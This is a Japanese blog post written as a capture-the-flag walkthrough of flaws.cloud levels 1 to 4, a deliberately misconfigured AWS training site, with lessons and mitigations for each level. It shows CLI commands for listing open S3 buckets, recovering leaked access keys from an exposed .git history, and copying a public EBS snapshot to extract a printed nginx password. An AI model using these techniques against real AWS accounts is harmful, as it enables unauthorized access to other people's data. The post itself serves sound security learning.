task4233のめも

書きたいことをつらつらと

とある診断員とSecurity-JAWS #01 参加記録 および flaws.cloudのLevel4までのメモ

はじめに

2019年11月17日(金)に開催された, とある診断員とSecurity-JAWS #01というイベントに参加しました。 このイベントは, AWS固有のセキュリティをCTF形式で学べるhttp://flaws.cloud/を, ハンズオン形式で勉強するイベントでした。

このイベントがなければこのサービスの存在も知らなかった上に, 他の参加者と一緒に問題を解く機会が得られなかったので, いい機会になりました。

ちなみに, ハンズオンで使用された資料は公開されているのでリンクを貼っておきます。

www.slideshare.net

AWSのセキュリティどころか, AWS-CLIツールの使用もままならない状況だったので, 備忘録としてコマンドの使用法およびflaws.cloudの解法を載せていきます。

もくじ

環境

  • macOS Mojave version 10.14.6

AWS CLIについて

AWS CLIのcommand referenceは以下にあります。

docs.aws.amazon.com

command referenceは, まずサービス名を選択し, 次にコマンドを選択することでコマンドを一意に特定することができます。

例えば, ec2を選択すると, DescriptionとAvailable Commandsがあり, 使用できるコマンドの一覧が確認できます。そこで, 例としてdescribe-snapshot-attributeを選択すると, Description, Synopsis, Options, Examples, Outputがあり, コマンド自体について情報が確認できます。

ここでコマンドを実行したい場合は, ページ上部にある[ aws . サービス名 ]とSynopsisを連結して使用します。例えば, 先ほどのdescribe-snapshot-attributeで言えば, ページ上部に

[ aws . ec2 ]

の記載があり, Synopsisに

  describe-snapshot-attribute
--attribute <value>
--snapshot-id <value>
[--dry-run | --no-dry-run]
[--cli-input-json <value>]
[--generate-cli-skeleton <value>]

とあるため, $ aws ec2 describe-snapshot-attribute --attribute <value> --snapshot-id <value>というコマンドを実行すれば良いことが分かります。

Level 1

概要

flaws.cloudにアクセスするとLevel 1があります。 書かれていることは以下の通りです。

  • 一連のレベルを通してAWSの一般的な間違いと落とし穴を学ぶ
  • AWS固有の問題をトピックとしている
  • 各問題でヒントが提供される
  • 全てが単一のAWSアカウントで実行される
  • 全てのチャレンジはflaws.cloudのサブドメインである
  • 最初のサブドメインを見つけられるか確認して

解法

まず, flaws.cloudがAWSのどのサービスを利用しているか確認します。これは, 使用しているAWSのサービスに応じて使用するCLIコマンドやURLで使用するために, 調査します。

これは, dignslookupで調査できます。好きなコマンドを使ってください。

$ dig flaws.cloud +short
52.218.228.218
$ dig -x 52.218.228.218 +short
s3-website-us-west-2.amazonaws.com.

正引きでドメインflaws.cloudに対応するIPアドレス52.218.228.218を取得し, 逆引きでそのIPアドレスに対応するドメインs3-website-us-west-2.amazonaws.com.を取得できました。したがって, awss3を使い, regionはus-west-2AWSサービスを利用していることが分かりました。

この結果を用いて, aws s3のリファレンスを確認し, ページ下部にAvailable Commandsがあります。ここでは, 全体を見るためにlsを使います。

$ aws s3 ls s3://flaws.cloud
2017-03-14 12:00:38       2575 hint1.html
2017-03-03 13:05:17       1707 hint2.html
2017-03-03 13:05:11       1101 hint3.html
2018-07-11 01:47:16       3082 index.html
2018-07-11 01:47:16      15979 logo.png
2017-02-27 10:59:28         46 robots.txt
2017-02-27 10:59:30       1051 secret-dd02c7c.html

ここで, 怪しそうなsecret-dd02c7c.htmlがあるので, ここにアクセスします。

http://flaws.cloud/secret-dd02c7c.html

学べたこと

AWSでは, 静的ファイルのホストに使用するなど, あらゆる種類の権限と機能を備えたS3バケットを設定できます。一方で, 多くの人が非常に緩い権限でそれらのファイルを公開しています。Webサーバのディレクトリ一覧を公開しないように, バケット一覧を公開するべきではありません。

hackeroneのレポートにおける実例

間違いを避けるために

デフォルトでは, S3バケットは作成時にprivateで安全です。

flaws.cloudでは, Webページとしてアクセスできるように,"Static Website Hosting"をOnにして, "s3:GetObject"権限を全員に許可しています。Webページとしてバケットを公開するならば, これで問題ありません。

しかし, flaw(欠陥)を紹介するために, "Everyone"を追加して"List"権限を付与しました。"Everyone"はインターネット上の全員を意味します。全員に対して"List"のアクセス許可があるため, http://flaws.cloud.s3.amazonaws.comにアクセスするだけで一覧を見ることができます。

Level 2

概要

http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloudにアクセスするとLevel 2があります。

書かれていることは以下の通りです。

  • 多少ひねっているものの, かなり似ている
  • 自分用のAWSアカウントが必要
  • 無料利用枠で良い

解法

AWSアカウントが必要なのでAWS CLIに設定します。設定にはaws configureを使います。

セットアップに関しては以下の記事か, google itしてください。

その後, Level 1と同じ流れで解いていきます。 digを使う際に, URLではなくドメイン名を入れる必要があることに注意してください。

$ dig level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud +short
52.218.232.75
$ dig -x 52.218.232.75 +short
s3-website-us-west-2.amazonaws.com.
$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 11:02:15      80751 everyone.png
2017-03-03 12:47:17       1433 hint1.html
2017-02-27 11:04:39       1035 hint2.html
2017-02-27 11:02:14       2786 index.html
2017-02-27 11:02:14         26 robots.txt
2017-02-27 11:02:15       1051 secret-e4443fc.html

ここで, 怪しそうなsecret-e4443fc.htmlがあるので, アクセスします。

http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html

学べたこと

"Everyone"へのアクセス権限での公開と同様に, 人は誤って実際にはAWSアカウントを持っている全てのユーザを意味する"Any Authenticated AWS User"へのアクセス権限で公開してしまいます。これは, 自分のアカウントのユーザのみに公開していると誤解しているのかもしれません。

hackeroneのレポートにおける実例

間違いを避けるために

特定のAWSユーザに対して公開アクセス権限を付与してください。

Level 3

概要

http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/にアクセスするとLevel 3があります。

書かれていることは以下の通りです。

  • 多少ひねっているものの, かなり似ている
  • 最初のAWS Keyを見つけよ
  • 見つければ他のバケットのリストを得られる

解法

かなり似ているらしいので今までと同じ流れで解いていきます。

$ dig level3-9afd3927f195e10225021a578e6f78df.flaws.cloud +short
52.218.230.26
$ dig -x 52.218.230.26 +short
s3-website-us-west-2.amazonaws.com.
$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
                           PRE .git/
2017-02-27 09:14:33     123637 authenticated_users.png
2017-02-27 09:14:34       1552 hint1.html
2017-02-27 09:14:34       1426 hint2.html
2017-02-27 09:14:35       1247 hint3.html
2017-02-27 09:14:33       1035 hint4.html
2017-02-27 11:05:16       1703 index.html
2017-02-27 09:14:33         26 robots.txt

robots.txtがあるので中身を見ると, 以下のようになっています。

User-agent: *
Disallow: /

MDN web docs Robots.txtによると, 以下のように書かれています。

Robots.txt は通常、ウェブサイトのルートに配置されているファイルです。このファイルは、クローラーからウェブサイトへのアクセスを許可するか、禁止するかを決定します。

したがって, *(任意の)User-agentを許容し, TOP配下の全てのページをブロックしていることが分かります。

次に, .gitを解析します。 解析のために, cpを利用します。

$ aws s3 cp s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud ~/work/ --recursive
: 略
$ git branch
* master
$ git log --oneline
b64c8dc (HEAD -> master) Oops, accidentally added something I shouldn't have
f52ec03 first commit
$ git reset --hard HEAD^
HEAD is now at f52ec03 first commit
$ ls
access_keys.txt     hint2.html      index.html
authenticated_users.png hint3.html      robots.txt
hint1.html      hint4.html
$ cat access_keys.txt 
access_key AK**(略)
secret_access_key Od**(略)

ここで, Access Keyが得られたので登録します。素で$ aws configureを実行すると, 自分のAccess Keyが上書きされてしまうため, --profileオプションを利用したAccess Keyの使い分けを推奨します。また, digコマンドの結果でわかっているように, regionはus-west-2なので, それに倣ってus-west-2にします。

$ aws configure --profile level3
AWS Access Key ID [None]: AK**(略)
AWS Secret Access Key [None]: Od**(略)
Default region name [None]: us-west-2
Default output format [None]: json

その後, このaccess_keyを用いて中身を確認します。 保持しているバケットの一覧はlsで確認できます。

$ aws s3 ls --profile level3
2017-02-19 04:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-30 01:34:53 config-bucket-975426262029
2018-07-08 01:09:49 flaws-logs
2017-02-19 04:40:54 flaws.cloud
2017-02-24 14:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-27 03:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-27 04:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-27 04:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-27 05:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

ここで, level4-から始まるドメイン名があるので, このドメイン名にアクセスします。

学べたこと

人はしばしばAWS Keyを漏洩し, Keyを取り消さずにミスを隠蔽しようとします。不適切な配置や漏洩した可能性がある任意のAWS Key(もしくはSecrets)を, あなたは常に無効にするべきです。Secretsに対して素早く, そして頻繁に権限を与えて直してください。

また, AWSの特定のバケットのみを一覧表示に含めないという制限はできません。そのため, いくつかのバケットを一覧表示する権限をとある人に与えたとすると, その人は全てのバケットを一覧表示することができます。バケットの中に何があるかは分かりませんが, バケットが存在することが分かります。

同様に, バケットは全ての顧客に対して一意でなくてはならないglobal namespaceを使用することに注意してください。したがって, もしmerger_with_company_Yといった秘密と思われる何かの名前のバケットを作成すると, そのバケットの存在を技術的に発見する可能性があります。

実例とケーススタディ

間違いを避けるために

もし誤って侵入, 保存, 共有, publicにされたと考えられる場合, 必ずSecretの権限を割り当て直してください。

Level 4

概要

http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/にアクセスするとLevel4があります。

書かれていることは以下の通りです。

  • 次のレベルのために4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudのEC2上で動いているWebページにアクセスする必要がある
  • nginxがセットアップされたすぐ後に, EC2のスナップショットが作成されたことを知っておくと役立つ

解法

4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudにアクセスするとログインを求められます。Response HeaderのWWW-Authenticateを見るとBasic realm="Restricted Content"とあるため, これはBasic認証であることとnginxでserveされていることがわかります。

ここで, 問題文にあるnginxがセットアップされたすぐ後に, EC2のスナップショットが作成されたことを知っておくと役立つとのヒントから, EC2のスナップショットを得たいという発想になります。

aws ec2のAvailable Commandsを見ると, describe-snapshotsがあります。単純にコマンドを実行すると膨大な量のスナップショットが表示されたため, スナップショットに紐づけられているOwnerIdの数を確認しました。

$ aws ec2 describe-snapshots --profile level3 | grep "OwnerId" | wc -l
21541

これだけあってはスナッップショットを特定するのは難しいです。そこで, OwnerIdを指定することでスナップショットを特定します。OwnerIdはaws sts get-caller-identityで取得できます。このコマンドでは, userID, AWSのaccountID, ARN(AWS Resource Name)を取得できます。

$ aws sts get-caller-identity --profile level3
{
    "UserId": "AI**LC",
    "Account": "97**29",
    "Arn": "arn:aws:iam::97**29:user/backup"
}

取得したAcountIDを用いて, スナップショットを取得します。

$ aws ec2 describe-snapshots --owner-id 97**29 --profile level3
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "97**29",
            "Progress": "100%",
            "SnapshotId": "snap-0b**89",
            "StartTime": "20**0Z",
            "State": "completed",
            "VolumeId": "vol-04*50",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "fl**27"
                }
            ]
        }
    ]
}

SnapshotIdを取得できたので, パーミッションを確認します。パーミッションaws . ec2 describe-snapshot-attributeで取得できます。

$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b**89 --attribute createVolumePermission --profile level3
{
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ],
    "SnapshotId": "snap-0b49342abd1bdcb89"
}

Permissionは"Group": "all"なので, 自分のアカウントにスナップショットを作成します。

aws ec2 create-volume --availability-zone us-west-2b --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
{
    "AvailabilityZone": "us-west-2b",
    "CreateTime": "2019-12-17T05:23:09.000Z",
    "Encrypted": false,
    "Size": 8,
    "SnapshotId": "snap-0b**89",
    "State": "creating",
    "VolumeId": "vol-07**c5",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2"
}

この作成したインスタンスにesbをアタッチしてmountします。マウントした中身を見ると, setupNginx.shで.htpasswdに書き込みをしているようです。

ubuntu@ip-***-**-**-**:~$ cat /mnt/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

htpasswd -c -b /etc/httpd/conf/.htpasswd ユーザ名 パスワードの形式なので, 以下のように情報を抜き取れる

を入力してクリア。

学べたこと

AWSはEC2とデータベース(RDS)のスナップショットを作成できます。主な目的はバックアップを作成することですが, パスワードを忘れたとき人所有しているEC2にアクセスできるようにすることがあります。これは, 攻撃者に対しても同様です。

スナップショットは通常所有しているアカウントに生げんっされているため, 攻撃者はAWSキーにアクセスしてEC2の開始/停止等を行い, それを使用してEC2のスナップショットを作成して起動します。

おわりに

Level 5-6も終わっているのですが, 記事にする時間がなかったので今度更新します。冒頭で紹介した通り, 本イベントで使用された資料は公開されているので, flaws.cloudにチャレンジしてみてはいかがでしょうか?